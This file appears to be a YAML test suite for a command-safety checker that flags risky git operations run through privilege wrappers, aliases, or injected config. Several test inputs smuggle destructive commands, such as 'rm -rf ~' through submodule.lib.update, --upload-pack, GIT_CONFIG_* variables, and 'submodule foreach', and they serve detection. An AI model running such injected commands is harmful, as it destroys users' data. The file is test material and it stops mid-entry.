- test: "su root -c 'git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "pkexec git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "run0 git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "runuser -u root -- git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "env sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo env git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "timeout 60 sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "nohup sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "nice sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "FOO=1 sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sh -c 'sudo git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "bash -c \"sudo git rebase --continue\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "cd apps/web && sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "doas git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -u root git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -E git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -i git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -s git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -- git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -u dev git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo sh -c 'git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "su -c 'git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "su root -c 'git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "pkexec git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "run0 git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "runuser -u root -- git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "env sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo env git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "timeout 60 sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "nohup sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "nice sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "FOO=1 sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sh -c 'sudo git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "bash -c \"sudo git submodule update --init --recursive\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "cd apps/web && sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "env git merge --no-ff feature/login"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "timeout 60 git cherry-pick abc123"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "nice git stash pop"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "sh -c 'git rebase --continue'"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "sudo git apply --check fix.patch"
description: "negative: checking a patch changes nothing, whoever runs it"
expect_ids: []
- test: "git pull && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git checkout main && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git fetch && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git clone ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git submodule update --init --recursive && npm install"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git switch main && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git pull --ff-only && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git pull origin main && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git fetch --all --prune && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git checkout -b fix v1.2 && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git switch -c fix main && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git clone -q --depth 1 -b main https://example.com/r.git r && cd r && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git pull --rebase --autostash origin main && git submodule update --init --recursive && make"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git config submodule.lib.update '!rm -rf ~' && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -c submodule.lib.update='!rm -rf ~' submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git config -f .git/config submodule.lib.update '!sh x.sh'; git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=submodule.lib.update GIT_CONFIG_VALUE_0='!rm -rf ~' git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && git submodule update --init --force"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init && git submodule foreach 'rm -rf .'"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone -c submodule.lib.update='!rm -rf ~' ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone --config submodule.lib.update='!rm -rf ~' ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone --template=/tmp/evil ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch --upload-pack='rm -rf ~' origin && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull --upload-pack 'rm -rf ~' && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -c submodule.lib.update='!rm -rf ~' pull && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -C /tmp/wa pull && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git config submodule.lib.update '!rm -rf ~' & git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init && git config submodule.lib.update '!rm -rf ~' && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && sudo git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo sh -c 'git pull && git submodule update --init'"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && HOME=/tmp/evil git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && XDG_CONFIG_HOME=/tmp/evil git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull; git config --global submodule.lib.update '!rm -rf ~'; git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "echo \"git config submodule.lib.update '!rm -rf ~'\" | sh && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init 2>&1 | tail -5"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin && git submodule update --init | sh"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone --recurse-submodules=x https://example.com/r.git r && cd r && git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git checkout -- . && git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update", "git:checkout_discard_all"]
- test: "git pull origin main extra && git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "env git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "alias s=sudo; s git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "SUDO=sudo; $SUDO git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "$SUDO git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "\"${SUDO:-sudo}\" git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO:-sudo} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "chroot / git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run --uid=0 --pty git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run -p User=root --pty git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "ssh root@localhost 'git merge --no-ff feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "please git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "sudo-rs git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "gosu root git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "su-exec root git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "nsenter -t 1 -a git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "alias s=sudo; s git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "SUDO=sudo; $SUDO git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "$SUDO git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "\"${SUDO:-sudo}\" git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO:-sudo} git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "chroot / git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run --uid=0 --pty git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run -p User=root --pty git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "ssh root@localhost 'git merge --no-ff --no-edit feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "please git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "sudo-rs git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "gosu root git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "su-exec root git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "nsenter -t 1 -a git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "alias s=sudo; s git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick abc123'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick -x abc123'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick -x abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick abc123..def456'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick abc123..def456"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "SUDO=sudo; $SUDO git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "$SUDO git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"${SUDO:-sudo}\" git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:-sudo} git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "chroot / git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run --uid=0 --pty git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "systemd-run -p User=root --pty git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh root@localhost 'git cherry-pick --continue'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "please git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "sudo-rs git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "gosu root git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "su-exec root git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "nsenter -t 1 -a git cherry-pick --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "alias s=sudo; s git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "SUDO=sudo; $SUDO git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "$SUDO git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "\"${SUDO:-sudo}\" git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO:-sudo} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "chroot / git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run --uid=0 --pty git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run -p User=root --pty git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "ssh root@localhost 'git stash pop'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "please git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo-rs git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "gosu root git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su-exec root git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nsenter -t 1 -a git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "alias s=sudo; s git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "SUDO=sudo; $SUDO git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "$SUDO git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "\"${SUDO:-sudo}\" git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO:-sudo} git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "chroot / git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run --uid=0 --pty git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "systemd-run -p User=root --pty git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "ssh root@localhost 'git stash pop stash@{1}'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "please git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo-rs git stash pop stash@{1}"
